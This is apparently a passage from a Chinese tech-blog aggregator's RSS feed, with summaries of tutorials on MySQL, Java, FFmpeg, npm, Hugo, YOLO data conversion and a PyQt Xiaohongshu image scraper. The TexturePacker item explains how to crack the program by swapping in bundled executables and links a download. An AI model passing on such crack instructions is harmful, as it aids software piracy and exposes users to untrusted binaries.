DEADLOCK和TRANSACTIONS之间。&#xA;在LATEST DETECTED DEADLOCK部分，可以找到最近被检测到的死锁信息。它会显示每个事务的ID、等待的锁资源、被阻塞的事务以及每个事务正在执行的SQL语句。&#xA;在TRANSACTIONS部分，可以找到当前执行的事务列表。它会显示每个事务的ID、等待的锁资源、事务的状态以及每个事务正在执行的SQL语句。&#xA;3. 查看事务等待的锁资源 要查看事务等待的锁资源，可以使用MySQL的SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS;命令。该命令会显示当前事务正在等待的锁资源。&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; 该命令的输出结果包含了当前事务等待的锁资源的相关信息，包括事务ID、锁的类型、锁的模式、被锁定的对象（表、页等）以及锁的状态。&#xA;4. 查看锁表的进程列表 要查看锁表的进程列表，可以使用MySQL的SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS;命令。该命令会显示正在等待锁资源的事务以及正在持有锁资源的事务。&#xA;SELECT * FROM INFORMATION_SCHEMA.</description>
    </item>
    <item>
      <title>【完结】囚生CYの备忘录（20231014~20231117）</title>
      <link>https://bchobby.github.io/posts/e1d9406e1d383ecf480bf4d9d74287d6/</link>
      <pubDate>Fri, 17 Nov 2023 23:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1d9406e1d383ecf480bf4d9d74287d6/</guid>
      <description>序言 代有才人出，我们这一辈也已经老了。&#xA;邂逅花有重开日&#xA;断路人无再会时&#xA;月明林下寄旧诗&#xA;水佩风裳知不知？&#xA;罢了。&#xA;文章目录 序言202210142023101520231016~2023101720231018~2023101920231020~20231021202310222023102320231024202310252023102620231027~20231028202310302023103120231101~2023110320231104~2023110520231106~2023110820231109~2023111020231111~2023111220231113~2023111420231115~2023111620231117 20221014 本以为下午怡宝的比赛至少是能跑到前三，结果连前五都没摸到，赛前都知道路线不可能有5km，因为即便是绕着主校区最外沿跑一圈也才4km出头，我估摸着是2500米，实际上只有1700米，所以就是全程冲刺，但因为急转弯太多，亏了太多力气，加上年纪大不中用了，实在是没能冲得过几个新生，嘉伟不到5分钟就杀死了比赛，新来的崔洲宸第二，宋镇均第三，退伍生第五，还有一个不认识的是第四，我最后快到终点前是第六，听到王炳杰在后面跟着我，我以为第六还是能拿到手环的（他特别想要），就在终点前把第六让给他了，用时5分40秒，结果都是三等奖，属实难蚌，难兄难弟，但好歹有一箱水和蓝牙跳绳，我也不是很需要手环。后面还有个周俊呈第九，他现在无氧水平也算是提升了不少，但还是力量太差，注定很难有很大突破。卢星雨和丁古丽分列女子前二，她俩确实跑得很勤快。虽然一定程度上是因为距离太短，撞上无氧耐力的短板，但跑得确实笨重（这两天体重有点反弹，快71kg了，之前一直都是69kg上下），身体休息恢复得不好，怕再难以恢复到巅峰，而且今晚喉咙开始疼，大概是受凉了，下午跑的时候喉咙就痒的不停咳，明早的二工大的10km路跑赛很悬，准备跟着宋镇均混了，他这小子两周不跑还能这么快，B话是一句都不能信。 gradio@request&#xA;import gradio as gr def echo(text, request: gr.Request): if request: print(&#34;Request headers dictionary:&#34;, request.headers) print(&#34;IP address:&#34;, request.client.host) print(&#34;Query parameters:&#34;, dict(request.query_params)) return text io = gr.Interface(echo, &#34;textbox&#34;, &#34;textbox&#34;).launch() import gradio as gr def predict(text, request: gr.Request): headers = request.headers host = request.client.host user_agent = request.headers[&#34;user-agent&#34;] return { &#34;ip&#34;: host, &#34;user_agent&#34;: user_agent, &#34;headers&#34;: headers, } gr.Interface(predict, &#34;text&#34;, &#34;json&#34;).queue().launch() 20231015 Unirun 10K成绩38’26&#34;</description>
    </item>
    <item>
      <title>利用虚拟机做Web服务器，使用物理机通过在浏览器输入IP和域名来访问自己做的网站</title>
      <link>https://bchobby.github.io/posts/904d957613afad1d62fa538854771af7/</link>
      <pubDate>Fri, 17 Nov 2023 23:19:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904d957613afad1d62fa538854771af7/</guid>
      <description>一、问题描述 学了将近半个月的网页开发了，一直是在本地预览，也想搞个服务器能在浏览器直接输入ip或者域名访问，刚才去作了一番功课，好像大佬们都倾向于视频讲解，动辄一个小时长的视频我都替你们看完了，有几个博主写的倒是文章，看了一半了提示要米，难受，所以自己写一篇吧。&#xA;二、准备 我们首先要有：&#xA;1、你做的网站文件；&#xA;2、一个虚拟机在你的物理机上（我这里用的是vmware，操作系统是WServer2012 R2）&#xA;免费下载镜像文件的网站推荐&#xA;https://msdn.itellyou.cn/&#xA;三、正式开始 1、检查网络通信是否正常&#xA;（1）检查你物理机和虚拟机之间能不能ping通，先cmd用ipconfig查看虚拟机的ip地址；&#xA;（2）在物理机ping这个地址，有这样就是可以，如果不行的建议去先学一下“虚拟机和物理机如何ping通”&#xA;2、接下来是虚拟机的操作&#xA;嘿嘿嘿你要是问我都安装哪些web功能，我也不知道其实，但是多多益善嘛，毕竟你只是想跑起来你的网站看看效果不会在乎这些....细节的吧...!!!!（手动狗头保命）&#xA;诶嘿嘿这个功能嘛，嘿嘿大家参考一下我的吧，糊弄完..哦不是，咳咳勾选完之后就点击安装就行了&#xA;此时你再看&#xA;强制弹窗不怕怕，选中永远滚蛋蛋&#xA;好，咱也摸了网站一把，现在到虚拟机C盘下，咱爸网页文件放里。我就随便建了两个文件夹把网页放里了。&#xA;接下来回到IIS管理器，右击“网站”，选择“添加网站”：&#xA;我的参考：&#xA;到了这一步，好了，你再点你建的网站然后预览看看&#xA;想也不用想，肯定不行！因为本地DNS的生死簿上可没你刚才输入的三W，哈哈，不过你想尝尝鲜的话还是可以通过输入刚才的ip地址来访问的。&#xA;然后咱们再用物理机也尝尝鲜！！！IP访问肯定没问题，域名肯定没可能！！&#xA;好，来再回到虚拟机，咱们配置本地DNS，打开C盘，打开如下目录，右击“hosts”选择打开方式为记事本或者其他的玩意&#xA;我们在最后一行加上我们刚才的IP和域名，然后点保存。&#xA;如果保存就提示“无访问权限”就打开下面网站跟着做&#xA;http://t.csdnimg.cn/7lvTK&#xA;欢迎回来，此时你就发现再点击预览域名就生效了&#xA;ok，回到物理机你会发现还不行（用域名不行），那咱再配置物理机的本地DNS，接下来的操作一样了，在文件末尾添加一行，点击保存，没权限就改，有权限ok&#xA;其实这两台电脑的hosts修改和咱刚才配置的那玩意好像关系不大，你在这里随便写个域名，他也和这个IP对应，都能打开这个IP地址，我也懵逼，现在还有点菜等我再大一些就会了！一定，接下来，拜拜~~&#xA;诶等等，要注意的是，这个东西他能识别你的网站文件的名字也有要求！当然你也可以自定义名字，记得加上后缀哦~~</description>
    </item>
    <item>
      <title>MOV导出序列帧并在Unity中播放</title>
      <link>https://bchobby.github.io/posts/ce409ab262609915045b67afa632759d/</link>
      <pubDate>Fri, 17 Nov 2023 22:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce409ab262609915045b67afa632759d/</guid>
      <description>MOV导出序列帧并在Unity中播放 前言项目将MOV变成序列帧使用TexturePacker打成一个图集将Json格式精灵表转换为tpsheet格式精灵表导入Unity并播放总结 鸣谢 前言 收集到一批还不错的MG动画，想要在Unity中当特效播放出来，那首先就得把MOV变成序列帧，然后使用TexturePacker打成一个图集，最后再导入Unity中制作Animation Clip播放。&#xA;项目 将MOV变成序列帧 需要提前安装FFmpeg&#xA;创建一个Cut.txt文本文件，将下面内容复制到文本文件中，把Cut.txt改成Cut.bat，就可以将代码中设置的mov视频导出成序列帧并存储在同级目录下。&#xA;@echo off setlocal enabledelayedexpansion :: 设置输入视频文件和输出图片文件夹路径 set input_video=Ele.mov set output_folder=output_images :: 创建输出文件夹 mkdir %output_folder% :: 使用FFmpeg抓取视频帧并保存为透明图片 ffmpeg -i %input_video% -vf &#34;select=eq(n\,0)+eq(pict_type\,I)&#34; -vsync vfr -q:v 2 %output_folder%\frame%%04d.png :: 完成后的消息 echo 透明图片已经生成到 %output_folder% 文件夹中。 :: 按任意键退出 pause 使用TexturePacker打成一个图集 这里我只找到了TexturePacker3.0.9的版本(pj方法就是用里面带的两个exe替换原始的两个exe)&#xA;链接：https://pan.baidu.com/s/1C04rikUgbdlstwBJV_Ch7g?pwd=upvu&#xA;提取码：upvu&#xA;但是这里有一个问题，3.0.9版本只能导出json格式的图集表，Unity2021以上只能使用tpsheet格式的精灵表&#xA;所以需要下面的步骤&#xA;将Json格式精灵表转换为tpsheet格式精灵表 创建一个Python脚本，写入以下内容&#xA;import json import os def convert_texture_packer_to_unity(json_file, output_file): with open(json_file, &#39;r&#39;) as f: data = json.load(f) frames = data[&#39;frames&#39;] meta = data[&#39;meta&#39;] texture_size = meta[&#39;size&#39;] with open(output_file, &#39;w&#39;) as f: f.</description>
    </item>
    <item>
      <title>05_常用API</title>
      <link>https://bchobby.github.io/posts/9d82c8729b00222b6143ab888c38d78b/</link>
      <pubDate>Fri, 17 Nov 2023 17:01:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d82c8729b00222b6143ab888c38d78b/</guid>
      <description>Java 常用 API string 创建字符串对象 public class HelloWorld { public static void main(String[] args) { // 1. 直接使用双引号得到字符串对象，封装字符串数据 (推荐使用) String name = &#34;tomato&#34;; System.out.println(name); // tomato // 2. new String创建字符串对象，并调用构造器初始化 String gender = new String(); System.out.println(gender); // &#34;&#34; String hobby = new String(&#34;coding&#34;); System.out.println(hobby); // coding // 3. 数组 char[] arr = {&#39;G&#39;, &#39;o&#39;, &#39;o&#39;, &#39;d&#39;}; String res = new String(arr); System.out.println(res); // Good // 3. 数组 byte[] arr2 = {97, 98, 99}; String res2 = new String(arr2); // ASCII码 System.</description>
    </item>
    <item>
      <title>周总结2023-11-17</title>
      <link>https://bchobby.github.io/posts/e0c025ff1e0a4b8e4710375be06f44cb/</link>
      <pubDate>Fri, 17 Nov 2023 16:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0c025ff1e0a4b8e4710375be06f44cb/</guid>
      <description>文章目录 前言：工作：学习：生活： 前言： 今天周五，是做本周总结和下周安排的记录博客。有条不紊，循序渐进。&#xA;工作： 本周的工作计划：&#xA;完成单轴测试板的测试与代码解析stm32HAL库的开发与学习。1121芯片的通信格式分析&#xA;细分的话完成了以下工作：单轴测试板的分析与调试HAL库开发初步学习，跑马灯，环境搭建基础知识的学习，时钟树解析，寄存器映射等发布博客1121芯片spi通信分析问题汇总代码整理，注释，结构整理&#xA;未完成的本周工作：数模转换模块的数据处理HAL库的学习IMU知识点汇总&#xA;下周的工作安排：Stm32的hal库开发持续学习三轴测试板代码的解析Arduino开发与学习Atmega328p最小系统版的驱动学习上周未完成工作的补漏记得买开发外设 学习： 下周学习安排：&#xA;Stm32单片机的HAL库学习物联网通信模块的初步了解电机知识基础了解尤克里里的学习&#xA;一般学习上的安排我不会安排特别多，因为学习安排属于工作时间外的学习，时间有限精力有限，但是一直是学习进步的状态就让我感觉会很安心，现在生活上基本安定了，所以准备重新拾起尤克里里的学习啦，就是会有点累，因为专业知识也在寻求提高，我现在最大的学习方面的期望就是，能够在目前自己学习工作的领域能有质的提高，其实包括我的博客大部分知识都是基础型的，一方面是我的知识不能够总结很绝对性的高质博客，另一方面是越基础的博客流量越好，之前我写博客是为了记录，后面是为了记笔记，再后面是为了科普，现在变成技术总结了，也算是有所进步。 生活： 首先是双十一大大下单，花了1400来买家用物品，毕竟是新环境，很多东西都没有，我之前关注的小杜的日记的博主给我寄了两个锅省了一大笔钱，但是还没到，所以目前吃饭还是吃食堂，锅到了，下个阶段的减肥计划就要提上日程了。&#xA;另外就是这几天很想入手ipad，不过钱不够哈哈哈，先搁置吧，自己的笔记本和纸质记录也能用，只是有很多资料是电子版，笔记本不能每天都带回去学习，不太方便，在公司的工作时间也是有限的。&#xA;很久没写这样的总结博客了，一方面是觉得有点水，另一方面是因为很久不写了，以前觉得技术博客比记录博客难写，现在觉得记录博客更难，因为要复盘和安排接下来要做的事情，因为我这个人自律性特别不好，只能用计划来约束自己，就这还很多工作超时，不过跟之前没有计划来比的，学习工作效率提高了不少。&#xA;还有一件事想记录一下，突然想起来的，我大学在校报待了3年，第一年任职干事，在信息部做微信公众号排版，第二年做副部长，时而会出现在责编一栏，第三年是副社长，统筹规划校报人员的工作安排，我之前一直觉得，我只是为了充盈自己的生活而参加的，即使干了3年好像也没有什么收获。但是！其实不是这样的，前段时间同学也在找工作，我看了他的简历觉得排版特别乱，我会跟他说用什么字体手机和pc端查看的时候更加清晰，什么字体打印出来会更好看，包括对齐，字体大小，结构排版，当时我就一下子意识到，有的东西你坚持学习，坚持做，总有一天会派上用场，他还问我怎么知道这些，我当时也纳闷，我怎么对排版结构很敏感的？后来才反应过来是之前锻炼的。现在写工作计划也是大三的时候对校报六个部门做工作安排的时候锻炼的，之前一直觉得自己去校报和室友或者朋友不去参加学校组织的人更忙，而且没用，除了加点分。现在才意识到，学习的过程，是进步的过程，也是锻炼的过程。&#xA;最后就是给自己的寄语：有条不紊，循序渐进。所有东西都有规划，有序的进行，一直处于学习的状态就会有进步。</description>
    </item>
    <item>
      <title>mysqldump常用操作示例/命令</title>
      <link>https://bchobby.github.io/posts/d0776a8ae006ea3b95eb0bfb5bd6065c/</link>
      <pubDate>Fri, 17 Nov 2023 16:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0776a8ae006ea3b95eb0bfb5bd6065c/</guid>
      <description>以下是一些常用的mysqldump操作示例，以备份和还原MySQL数据库为例：&#xA;1. 备份单个数据库： mysqldump -u your_username -p your_password your_database &amp;gt; backup.sql 将 your_username 替换为你的MySQL用户名，your_password 替换为你的MySQL密码，your_database 替换为要备份的数据库名称。备份的内容将写入 backup.sql 文件中。&#xA;2. 备份多个数据库： mysqldump -u your_username -p your_password --databases db1 db2 db3 &amp;gt; multi_db_backup.sql 用 --databases 选项指定多个数据库，以空格分隔。&#xA;3. 备份所有数据库： mysqldump -u your_username -p your_password --all-databases &amp;gt; all_databases_backup.sql 使用 --all-databases 选项备份所有数据库。&#xA;4. 备份时添加创建数据库语句： mysqldump -u your_username -p your_password --databases your_database --add-drop-database &amp;gt; backup_with_create.sql 使用 --add-drop-database 选项，生成包含创建数据库语句的备份文件。&#xA;5. 备份时添加创建表语句： mysqldump -u your_username -p your_password --databases your_database --add-drop-table &amp;gt; backup_with_create_table.</description>
    </item>
    <item>
      <title>MessageSourceUtil读取资源文件</title>
      <link>https://bchobby.github.io/posts/54f44acd4f8f02783d9e012c3da732f1/</link>
      <pubDate>Fri, 17 Nov 2023 15:08:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54f44acd4f8f02783d9e012c3da732f1/</guid>
      <description>在处理返回值提示的时候，需要根据local返回中文或者英文，因此要使用到国际化内容&#xA;操作 1，新建资源文件 在src/main/resources源文件夹下创建一个i18n的子目录， 然后创建中文和英文对应properties文件，然后输入自己的提示信息&#xA;输入内容：&#xA;result.success=执行成功 result.failure=执行失败 flow.toDo=有“{0}”待办“{1}”正等待您的审批！ flow.toDo=有“{0}”待办“{1}”正等待您的审批！ 如果有其它参数用{0} 这种进行标记。&#xA;如果中文里面显示的值是乱码，打开setting 搜索 encoding&#xA;选择右下角的 Transparent native-to-ascii conversion 然后点击OK&#xA;2，MessageSourceUtils import org.springframework.context.MessageSource; import org.springframework.context.MessageSourceResolvable; import org.springframework.context.i18n.LocaleContextHolder; import java.util.Locale; public class MessageSourceUtils { public static MessageSource getMessageSource() { try { return (MessageSource) SpringUtils.getBean(&#34;messageSource&#34;); } catch (Exception e) { return SpringUtil.getBean(MessageSource.class); } } public static String getMessage(String code) { Locale locale = LocaleContextHolder.getLocale(); return getMessageSource().getMessage(code, null, locale); } public static String getMessage(String code, Object[] args) { Locale locale = LocaleContextHolder.</description>
    </item>
    <item>
      <title>PyQt制作【小红书图片抓取】神器</title>
      <link>https://bchobby.github.io/posts/058ebca31816fc8a95a3df087bebffe5/</link>
      <pubDate>Fri, 17 Nov 2023 15:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/058ebca31816fc8a95a3df087bebffe5/</guid>
      <description>文章目录 📢闲言碎语🐾窗口设计🐾功能设计📚资源领取 📢闲言碎语 最近写一个系统，被一个Bug折腾了两天，至今还未解决。由于解决Bug弄得我有点心力憔悴，于是想着写其他小项目玩玩（爬取小红书图片），放松放松，在构思这个小项目的时候想着弄得稍微复杂点，弄着弄着花了大概三个小时时间（屁股要坐烂了），以为要准备结束了，结果又遇到Bug……😵&#xA;前前后后解决大大小小的Bug又花了大概一个小时……😊&#xA;好在最终将Bug解决了，项目也成功的启动咯~&#xA;具体实现，请往下看👇&#xA;🐾窗口设计 如下图所示，主窗口主要有窗口图标、自动的鼠标图标、“小红书图片抓取”标签、带有frame窗口的QLineEdit和两个QPushButton，虽然看起来简单，但其背后逻辑功能的实现也不是很难。&#xA;首先需要定义一个子类Frame，并通过继承QFrame类来进行一些窗口的基本设置，设置其窗口的样式和背景颜色。&#xA;class Frame(QFrame): def __init__(self, parent=None): super().__init__(parent) self.setFrameStyle(QFrame.Box | QFrame.Plain) self.setLineWidth(3)&#x9;# 外线宽 self.setMidLineWidth(3)&#x9;# 中线宽 self.setStyleSheet(&#34;QFrame {border: 3px solid #ff2442;}&#34;) # 设置边框颜色 接着设计主窗口，设置窗口和鼠标的图标，再设置基本的控件，其中setFrameWidget方法主要是将控件放在Frame窗口中，并通过传入的参数，计算控件的大小和移动的位置，让控件与Frame窗口贴合，达到一个美化的效果。&#xA;然后重写mousePressEvent、mouseMoveEvent和mouseReleaseEvent事件，实现鼠标在窗口中按下可移动的功能，其中还会带动processWindow（显示过程信息的窗口）的移动。&#xA;class MainWindow(QMainWindow): def __init__(self, parent=None): super().__init__(parent) # 设置窗口 self.setWindowTitle(&#39;小红书图片抓取&#39;) self.resize(400, 250) self.setWindowIcon(QIcon(&#39;window.png&#39;)) self.setStyleSheet(&#39;background-color: white;&#39;) # 设置鼠标 self.setCursor(QCursor(QPixmap(&#39;mouse.png&#39;).scaled(30, 30), 0, 0)) # 设置frame窗口宽度 self.frameWidth = 3 self.mouseFlag = False self.setup_ui() # 设置组件 def setup_ui(self): # 设置窗口大标题 label_title = QLabel(self) label_title.</description>
    </item>
    <item>
      <title>【C&#43;&#43;】plog</title>
      <link>https://bchobby.github.io/posts/6d6052c83c5c657d157234d71874b0e2/</link>
      <pubDate>Fri, 17 Nov 2023 14:35:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d6052c83c5c657d157234d71874b0e2/</guid>
      <description>GitHub地址：Plog - portable, simple and extensible C++ logging library&#xA;介绍 Plog is一个C++日志库，旨在保持尽可能的简单、小巧和灵活。它被创建作为现有大型库的替代品，并提供了一些独特的功能，如CSV日志格式和宽字符串支持。&#xA;主打一个小，灵活吗？&#xA;先来一段Demo&#xA;#include &amp;lt;plog/Log.h&amp;gt; // Step1: include the headers #include &#34;plog/Initializers/RollingFileInitializer.h&#34; int main() { plog::init(plog::debug, &#34;Hello.txt&#34;); // Step2: initialize the logger // Step3: write log messages using a special macro // There are several log macros, use the macro you liked the most PLOGD &amp;lt;&amp;lt; &#34;Hello log!&#34;; // short macro PLOG_DEBUG &amp;lt;&amp;lt; &#34;Hello log!&#34;; // long macro PLOG(plog::debug) &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>Node.js中npm和pnpm常用命令</title>
      <link>https://bchobby.github.io/posts/2c35af30a3633e77a31a7d322221b8a9/</link>
      <pubDate>Fri, 17 Nov 2023 14:19:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c35af30a3633e77a31a7d322221b8a9/</guid>
      <description>一、NPM基本配置 1.查看Node安装版本&#xA;node -v&#xA;2.查看npm镜像地址&#xA;(下面的xxxxx用taobao代替）&#xA;淘宝镜像：http://registry.npm.taobao.org/&#xA;npm config set registry https://registry.npm.taobao.org/&#xA;npm config set registry https://registry.npmjs.org/&#xA;C:\Users\Jason&amp;gt;npm get registry http://registry.npm.xxxxx.org/ 3.修改npm镜像地址&#xA;C:\Users\Jason&amp;gt;npm config set registry http://registry.npm.xxxxx.org/ 4.查看安装包的历史版本：&#xA;例如查看VUE有哪些版本&#xA;npm view vue versions 5.安装指定版本：&#xA;npm -g install npm@x.x.x 6.查看已安装依赖包&#xA;npm list&#xA;PS D:\SVNfiles\Ajax\vuerender&amp;gt; npm view vuex version 4.0.2 PS D:\SVNfiles\Ajax\vuerender&amp;gt; npm list ├── @babel/core@7.17.9 ├── @babel/eslint-parser@7.17.0 ├── @vue/cli-plugin-babel@5.0.4 ├── @vue/cli-plugin-eslint@5.0.4 ├── @vue/cli-service@5.0.4 ├── axios@0.27.2 ├── babel-plugin-component@1.1.1 ├── core-js@3.21.1 ├── element-ui@2.</description>
    </item>
    <item>
      <title>COCO格式转化为YOLOv8格式</title>
      <link>https://bchobby.github.io/posts/781963c333d62029ee222b472b8b1bc8/</link>
      <pubDate>Fri, 17 Nov 2023 11:28:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/781963c333d62029ee222b472b8b1bc8/</guid>
      <description>COCO格式转化为YOLOv8格式 目录格式代码 目录格式 yolov8仅支持YOLO格式的标签，COCO的默认标签为JSON格式，所以需要将COCO格式转换为YOLO格式。&#xA;如果训练COCO数据集的话一定要按照这个格式，摆放目录images，labels这两个目录名不可以改变&#xA;因为在内部已经写好了就这么去找数据，如果不按照这个规则写就会报错：No labels found in&#xA;datasets | coco | images | train2017 val2017 labels | train2017 val2017 代码 该代码可将COCO格式转换为YOLO格式并保存在labels/下。这里需要运行两次，train和val都需要转换。&#xA;import os import json from tqdm import tqdm import argparse parser = argparse.ArgumentParser() parser.add_argument(&#39;--json_path&#39;, default=&#39;/home/ubuntu/data/coco2017/annotations/instances_train2017.json&#39;,type=str, help=&#34;input: coco format(json)&#34;) parser.add_argument(&#39;--save_path&#39;, default=&#39;/home/ubuntu/data/coco2017/labels/train2017&#39;, type=str, help=&#34;specify where to save the output dir of labels&#34;) arg = parser.parse_args() def convert(size, box): dw = 1. / (size[0]) dh = 1. / (size[1]) x = box[0] + box[2] / 2.</description>
    </item>
    <item>
      <title>hugo使用经验</title>
      <link>https://bchobby.github.io/posts/6b2602d583a66a197a9e35a23006f7ba/</link>
      <pubDate>Fri, 17 Nov 2023 10:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b2602d583a66a197a9e35a23006f7ba/</guid>
      <description>title: “Hugo博客搭建经验”&#xA;date: 2021-07-26T16:47:18+08:00&#xA;draft: false&#xA;description: “《别用》”&#xA;featured_image: “https://img-blog.csdnimg.cn/c0b511f31c864b22b873b6aee915dfd5.png”&#xA;写在前面 ​ hugo最强使用技巧：别用hugo (狗头)&#xA;​ 这个世界上的静态网站生成器至少有333个，先从我的角度说说其他静态网站生成器的优点：&#xA;VitePress：基于vue技术栈构建(代替了VuePress)，可以顺便练习vue和vite，减小vue开发者的学习成本;&#xA;中文文档 国人开发者 主题丰富（在github主页有）插件挺丰富，不知道常用的有没，但是大丈夫！因为是Vue，对Vue开发者集成功能很方便！文档说是单页应用，解决路由时音乐播放器重新加载播放的问题应该简单一些； Hexo：由咱台湾老乡创建，中文用户很多教程也丰富；&#xA;[√]中文文档[√]主题丰富[√]插件齐全（几乎不用敲代码，npm上都一堆插件）多个静态页面 做网站生成器是方便了，不过像练习编写项目的空间少了，可能一不小心沉迷于集合插件 WordPress:嗯。。和hugo都是老外搞的，风格半斤八两，都用了&#34;shortcode&#34;这种奇怪的东西（类似模板引擎的语法，但还需要额外的学习成本），支持OneNote上传笔记（鸡肋）；可以和PHP配套使用；&#xA;然后。。。hugo的优点可能是快？我不知道。。。可我是男人可如果开发速度慢、学习成本高不还相当于慢了。。中文文档还相当于没有！要是go语言开发者可能研究研究原理有意思？&#xA;如果重命名content下的md文件，hugo编译时不会把删掉该替换的文件。不知道其他工具怎么样。&#xA;当然所有工具都是没有上限的！只是碰壁次数与资料多少、学习成本之类的区别！&#xA;快速开始 中文文档少有的中文233：&#xA;快速入门 | Hugo 中文网 (gohugo.cn)&#xA;其中下载主题这步可以自己选，主题商城也在这个网站中↑；&#xA;我所用的主题是Diary，可以在博客左下↙版权那里找到github仓库。自己魔改了一部分，为了添加功能。&#xA;常用命令、脚本 ​ 获取QQ头像的url: https://q1.qlogo.cn/g?b=qq&amp;amp;nk=QQ号码&amp;amp;s=640。&#xA;用edge浏览器时发现，如果用https访问博客，而头像url用http访问的话，会被拦截。&#xA;​ 每次输入这么多命令太麻烦了，hugo似乎没有把自己提交到github的命令，索性写了一个极简的windows批处理脚本上传博客。提前在path环境变量中配置hugo命令所在目录，以在任意位置执行hugo命令。&#xA;​ 还是第一次主动写windows脚本，上一次写还是上一次（呸，上次是改U盘图标，照网上抄的）。文件后缀名为.bat，直接在里面写命令即可。&#xA;hugo -D hugo cd ./public git add -A git commit -m &#34;脚本提交&#34; git push -u origin master ​ 先执行一遍hugo -D是为了将草稿也编译一下；再不带-D，这样主页不会显示草稿；&#xA;​ 还有一个博客生成测试脚本，执行hugo server命令，用于在本地实时查看页面；&#xA;​ 也可以使用github Actions来完成持续集成（CI）,顺道学习Devops；难得有个项目有提供hugo的插件，我却还是觉得脚本成本低，，</description>
    </item>
    <item>
      <title>NoSQL 与传统数据库的集成</title>
      <link>https://bchobby.github.io/posts/9b7965ce9f35202fa3b982b169eaf14f/</link>
      <pubDate>Fri, 17 Nov 2023 10:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b7965ce9f35202fa3b982b169eaf14f/</guid>
      <description>数据库集成势在必行 随着数据格局以前所未有的复杂性和规模发展，围绕数据库的叙述已经发生了巨大的变化。NoSQL 数据库已成为传统关系数据库的引人注目的替代品，在可扩展性、灵活性和数据模型多样性方面提供了显着的优势。然而，由于其 ACID 属性和 SQL 查询功能的增强，传统数据库远未过时。那么问题来了：这两种类型的数据库如何才能既共存又有效地整合呢？NoSQL 与传统数据库的集成不仅仅是一项技术工作；更是一项技术工作。这是实现全面数据管理的战略，可释放新功能并为创新奠定基础。&#xA;整合的必要性 在以实时分析、大数据和物联网 (IoT) 为标志的时代，在现代数据架构中维护 NoSQL 和传统数据库的理由非常充分。NoSQL 数据库擅长于需要水平可扩展性和灵活性的场景，提供处理半结构化或非结构化数据、无模式设计和高写入量等功能。另一方面，对于需要遵守 ACID（原子性、一致性、隔离性、持久性）属性的复杂查询、联接和事务的应用程序来说，传统数据库仍然是不可替代的。但这不是零和游戏。在各种现实场景中，NoSQL 和传统数据库的集成方法不仅仅是其各个部分的总和。想象这样一个场景：金融机构使用 RDBMS 处理交易数据，但利用 NoSQL 数据库通过实时分析大量用户行为来进行欺诈检测。通过集成这些数据库，该组织可以释放前所未有的功能，例如实时分析和预测建模。&#xA;整合方法 数据联合 数据联合类似于在两个不同的世界之间建立一座桥梁。它允许查询跨越多个数据库，实时混合来自传统 RDBMS 和 NoSQL 数据库的数据。但它并非没有缺点。虽然数据联合提供了虚拟的统一数据层，但它在事务支持方面存在局限性。符合 ACID 属性的传统数据库可能与许多 NoSQL 数据库的 BASE（基本可用、软状态、最终一致）模型发生冲突。从多个源实时提取数据时，可能会出现数据一致性和完整性问题。此外，联合查询可能存在性能瓶颈。它们通常需要大量元数据信息才能正确执行，在处理大型数据集时，这可能会导致延迟增加。人们必须权衡使用单一查询语言查询不同数据库的便利性与这些性能和一致性的权衡。&#xA;仔细观察数据虚拟化 数据虚拟化通过提供统一的数据访问层作为敏捷、实时的解决方案。它创建了一个抽象层，使用户能够通过单个虚拟数据库访问多个源的数据。数据虚拟化解决方案通常提供缓存机制来缓解性能问题，但它们也会以附加软件层的形式引入复杂性，这可能成为故障点。正如 Martin Fowler 指出的那样，数据虚拟化可以作为跨不同数据库的“提供实时访问的敏捷方式”。然而，敏捷性是有代价的。实时转换和聚合可能会占用大量资源，可能会造成性能瓶颈，尤其是在处理高速或大容量数据时。&#xA;对数据同步的深入见解 数据同步的概念很简单，但在实际场景中实施时会很快变得复杂。数据同步可以是单向的或双向的，具体取决于用例。单向同步（数据从一个源流向另一个源而没有互惠性）实现起来更简单，但可能会导致数据一致性问题。双向同步虽然更复杂，但可确保两个数据库都根据对方的更改进行更新，从而保持更高级别的数据一致性。然而，这个过程可能会占用大量资源，并且容易发生冲突，需要复杂的冲突解决策略。必须考虑数据重复、一致性检查以及处理更新或删除等问题。&#xA;中间件解决方案：超越基础 中间件解决方案，特别是集成平台即服务 (iPaaS)，提供了更加集中的集成方法。这些平台通常附带用于各种数据库的预构建连接器，以及数据映射和转换工具。iPaaS 解决方案通常提供强大的监控和错误处理机制，并且可以扩展以适应不断增长的数据量和复杂性。&#xA;新出现：API 主导的连接 另一种新兴方法是 API 主导的连接，它利用 API 来连接和公开来自各种数据库的数据。这种方法允许模块化、可重用且可维护的集成架构。在微服务世界中，API 主导的连接可以成为数据库集成的支柱，提供灵活性和控制力。总之，每种集成方法都提供了一系列独特的好处和挑战。根据特定的需求、约束和预期结果，可以选择用于实时查询的数据联合、用于敏捷和统一数据访问层的数据虚拟化、用于维护数据一致性的数据同步、用于集中和托管集成的中间件解决方案，或 API 主导的连接，以实现模块化和灵活的方法。&#xA;性能考虑因素 在考虑性能时，通常首先想到的就是查询速度。多年来，传统数据库凭借其 ACID 合规性，针对复杂查询功能进行了优化。它们可以相对高效地执行连接、聚合和子查询，但通常难以处理大容量、高速数据。另一方面，NoSQL 数据库专为处理大量数据时提供高性能而设计，但在处理复杂查询时可能会遇到困难。当集成两者时，查询性能成为一个问题，特别是在联合或虚拟化系统中。由于每个系统的限制，跨数据库查询的性能可能会受到严重影响。&#xA;一致性和延迟：找到平衡点 传统数据库遵循ACID属性，确保事务前后数据保持一致。NoSQL 数据库通常遵循 BASE 